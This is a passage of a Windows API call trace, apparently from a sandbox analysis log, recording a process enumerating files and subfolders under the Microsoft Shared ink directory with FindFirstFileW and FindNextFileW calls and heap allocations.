ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0079.368] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0079.368] GetProcessHeap () returned 0x470000 [0079.368] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.369] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.369] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0079.369] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0079.369] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.369] GetProcessHeap () returned 0x470000 [0079.369] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.369] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0079.369] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0079.369] GetProcessHeap () returned 0x470000 [0079.369] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.370] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.370] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0079.376] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0079.376] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.376] GetProcessHeap () returned 0x470000 [0079.376] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.376] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0079.376] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0079.376] GetProcessHeap () returned 0x470000 [0079.376] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.376] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.377] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0079.377] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0079.377] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0079.377] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0079.377] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.377] GetProcessHeap () returned 0x470000 [0079.377] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.377] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0079.377] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0079.377] GetProcessHeap () returned 0x470000 [0079.378] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.378] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.378] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0079.378] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0079.378] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.378] GetProcessHeap () returned 0x470000 [0079.378] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.378] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0079.378] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0079.378] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.378] GetProcessHeap () returned 0x470000 [0079.378] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.379] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0079.379] GetProcessHeap () returned 0x470000 [0079.379] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.379] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.379] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.379] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.379] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.379] GetProcessHeap () returned 0x470000 [0079.379] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.379] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0079.379] GetProcessHeap () returned 0x470000 [0079.379] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.380] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.380] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.380] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.380] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.380] GetProcessHeap () returned 0x470000 [0079.380] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.380] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0079.380] GetProcessHeap () returned 0x470000 [0079.380] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.380] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.380] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 